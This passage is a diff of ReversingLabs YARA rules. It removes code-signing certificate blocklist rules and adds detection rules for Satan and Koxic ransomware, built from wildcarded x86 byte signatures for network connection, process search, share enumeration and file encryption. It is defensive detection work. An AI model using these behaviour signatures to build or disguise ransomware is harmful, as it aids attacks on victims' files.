8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 01 + 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ?? ?? 56 8D 71 ?? 0F 85 ?? ?? ?? ?? + 55 8B 2D ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 66 90 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? + 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 74 + ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 + 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 66 89 4C 74 ?? 85 C0 74 ?? 33 F6 90 + FF 34 B5 ?? ?? ?? ?? FF D7 83 F8 ?? 74 ?? 46 83 FE ?? 72 ?? 8D 44 24 ?? 50 FF 34 B5 + ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D + 4C 24 ?? 8D 51 ?? 66 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ?? + ?? 8D 71 ?? 0F 84 ?? ?? ?? ?? 5F 5D 53 FF 15 ?? ?? ?? ?? 5E 5B 81 C4 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "isonet ag" and pe.signatures [ i ] . serial == "75:a3:85:07:bf:40:3b:15:21:25:b8:f5:ce:1b:97:ad" and 1395359999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $enum_shares_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_4Effa8B216E24B16202940C1Bc2Fa8A5 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Satan : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Satan ransomware." author = "ReversingLabs" - id = "541a169e-a263-5901-9d8e-768306b8b8ba" - date = "2020-08-05" - modified = "2023-11-08" + id = "7ec379d8-172c-52ee-9284-6898dd446468" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L189-L205" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Satan.yara#L1-L152" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b5282fc85bbbee50c5307fff923e9e477fed8c011288e2ebd61c4b3ee801bc62" + logic_hash = "0074090c2a6cc483deffdc83dc1c0bfbd150e201c27e54f998dd2c0a7660f917" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Satan" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 + C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? + ?? ?? ?? 89 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 6A ?? + 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF D3 8B 3D ?? ?? ?? ?? 6A ?? 56 FF D7 8D 45 ?? 50 + 8D 45 ?? 50 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 50 89 85 ?? ?? ?? + ?? FF D3 8B 9D ?? ?? ?? ?? 6A ?? 53 FF D7 68 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 83 C4 + ?? 8B F0 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 39 7D ?? 76 ?? 68 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 6A ?? 51 50 + 56 FF B5 ?? ?? ?? ?? 03 F8 FF 15 ?? ?? ?? ?? 39 7D ?? 77 ?? 8B 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 C4 ?? 53 FF D6 FF B5 ?? + ?? ?? ?? FF D6 FF B5 ?? ?? ?? ?? FF D6 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 + 5D C3 + } + $search_processes = { + 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 51 50 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 0F 1F + 44 00 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 8B 4C B5 ?? + 8D 85 ?? ?? ?? ?? 0F 1F 44 00 ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 + ?? 83 C1 ?? 83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 75 ?? FF B5 ?? ?? + ?? ?? 50 68 ?? ?? ?? ?? FF D7 6A ?? 50 FF D3 46 83 FE ?? 76 ?? 8D 85 ?? ?? ?? ?? 50 + FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B + E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? + ?? ?? 31 45 ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 4D + ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 83 CB ?? 89 + 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 F6 89 75 ?? 89 75 ?? 56 68 ?? ?? + ?? ?? 6A ?? 56 6A ?? 6A ?? 51 8B 3D ?? ?? ?? ?? FF D7 89 45 ?? 3B C3 0F 84 ?? ?? ?? + ?? 56 68 ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? FF 75 ?? FF D7 8B D8 89 5D ?? 83 FB ?? 0F + 84 ?? ?? ?? ?? 8B 7D ?? 8B 07 85 C0 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 56 56 68 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF + 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? + FF 75 ?? 68 ?? ?? ?? ?? FF 37 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 32 C0 89 45 ?? 88 + 45 ?? 33 FF 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 FF 75 + ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 0F B6 C0 81 7D ?? ?? ?? ?? ?? + B9 ?? ?? ?? ?? 0F 42 C1 89 45 ?? 88 45 ?? 68 ?? ?? ?? ?? 8D 4D ?? 51 56 6A ?? 0F B6 + C0 50 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 85 FF 75 ?? 57 8D 45 ?? 50 68 ?? + ?? ?? ?? FF 35 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? 56 53 FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 47 89 7D ?? 8B 45 ?? 84 C0 0F 84 ?? ?? ?? ?? 80 7D ?? ?? + 74 ?? 83 05 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 ?? + 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 + } + $search_files_in_specific_folders_p1 = { + 51 8D 85 ?? ?? ?? ?? 8B CE 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8B F0 F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83 FF + } + $search_files_in_specific_folders_p2 = { + 75 ?? FF 75 ?? 8D 55 ?? 8B CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 + F6 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 FF ?? 0F 85 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 8B + CB 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? E9 ?? + ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 + 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D + 4D ?? E8 ?? ?? ?? ?? 6A ?? 40 8D 4D ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 + 8D 45 ?? 3B C6 74 ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 + C4 ?? 56 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + EC ?? C6 45 ?? ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? 83 + EC ?? 8D 4D ?? 54 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 84 + C0 8D 8D ?? ?? ?? ?? 0F 94 C3 EB ?? 83 FF ?? 75 ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 50 8D + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? 51 8B C8 E8 ?? ?? ?? ?? 8A D8 + } + $search_files_in_specific_folders_p3 = { + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 DB 8B 9D ?? ?? ?? ?? 74 ?? 8D 45 ?? + 8B CB 50 E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 + ?? 33 F6 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF B5 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? + E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? + ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 6A ?? 50 FF 75 ?? E8 ?? ?? + ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? C7 45 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 4D ?? 64 89 0D ?? ?? + ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Henan Maijiamai Technology Co., Ltd." and pe.signatures [ i ] . serial == "4e:ff:a8:b2:16:e2:4b:16:20:29:40:c1:bc:2f:a8:a5" and 1404691199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $search_processes and ( all of ( $search_files_in_specific_folders_p* ) ) and $encrypt_files and $remote_connection ) } - -rule REVERSINGLABS_Cert_Blocklist_57D7153A89Bbf4729Be87F3C927043Aa : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Koxic : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Koxic ransomware." author = "ReversingLabs" - id = "9b778a20-8a0c-5c9f-8cc3-9e5054713e13" - date = "2020-08-05" - modified = "2023-11-08" + id = "73c4afb0-cfa8-5bc5-bca3-49a7710f4ab9" + date = "2022-04-21" + modified = "2022-04-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L207-L223" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Koxic.yara#L1-L87" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a8de7951bd25c8a9346ef341d8bf9c9147f9fa6913e952be40fb43d3d7a370c1" + logic_hash = "739faf047b95fd538422a42943fcaad6538549bf4cf33ed91385c61365af4f09" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Koxic" + tc_detection_factor = 5 importance = 25 + strings: + $enum_shares_p1 = { + 8B 45 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 55 ?? 52 8B 45 ?? 50 8D 4D + ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 45 ?? + ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 8B + 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? C1 + E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 8B 4D ?? C1 E1 ?? 8B 55 ?? 8B 44 0A ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B + } + $enum_shares_p2 = { + 54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? + 0F B6 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 51 FF 15 ?? ?? ?? ?? 83 E8 ?? 89 45 ?? EB ?? 8B 55 ?? 83 EA ?? 89 55 ?? 83 7D ?? ?? + 0F 8C ?? ?? ?? ?? 8B 45 ?? 0F B7 8C 45 ?? ?? ?? ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8B 55 + ?? 0F B7 84 55 ?? ?? ?? ?? 83 F8 ?? 75 ?? C6 45 ?? ?? EB ?? 8B 4D ?? 8D 94 4D ?? ?? + ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C9 8B 55 ?? 66 89 8C 55 ?? ?? FF + FF 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 + ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 + ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 EA ?? 89 + 55 ?? E9 ?? ?? ?? ?? EB ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 83 E2 ?? 74 ?? 8B + 45 ?? C1 E0 ?? 8B 4D ?? 8B 54 01 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 + ?? C1 E0 ?? 03 45 ?? B9 ?? ?? ?? ?? 6B D1 ?? 89 44 15 ?? B8 ?? ?? ?? ?? C1 E0 ?? 8B + 4D ?? 89 4C 05 ?? BA ?? ?? ?? ?? D1 E2 8B 45 ?? 89 44 15 ?? 8D 4D ?? 51 E8 ?? ?? ?? + ?? 83 C4 ?? E9 ?? ?? ?? ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? EB ?? 81 7D ?? ?? ?? ?? + ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 75 ?? B8 ?? ?? ?? ?? EB ?? 33 C0 + } + $find_files = { + 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 33 D2 8B 45 ?? 66 89 10 + 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 83 F8 ?? 75 ?? E9 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 8D 44 02 ?? 3D ?? ?? ?? ?? + 72 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 8B + 48 ?? 81 79 ?? ?? ?? ?? ?? 76 ?? 6A ?? FF 15 ?? ?? ?? ?? EB ?? 8B 95 ?? ?? ?? ?? 83 + E2 ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8B 0D ?? ?? ?? ?? 51 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 0D + ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? C1 E2 ?? 8B 45 ?? 89 44 15 ?? 8D 4D + ?? 51 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 75 ?? 6A ?? A1 + } + $encrypt_files = { + 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7F ?? 7C ?? 83 7D ?? ?? 73 ?? + E9 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 4D ?? 2B C8 8B + 45 ?? 1B C2 89 4D ?? 89 45 ?? 6A ?? 8B 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 50 + FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 72 ?? + 81 7D ?? ?? ?? ?? ?? 73 ?? 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 FF + 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? + ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? + EB ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 + 45 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, zhenganjun" and pe.signatures [ i ] . serial == "57:d7:15:3a:89:bb:f4:72:9b:e8:7f:3c:92:70:43:aa" and 1469059200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $enum_shares_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_028E1Deccf93D38Ecf396118Dfe908B4 : INFO FILE +rule 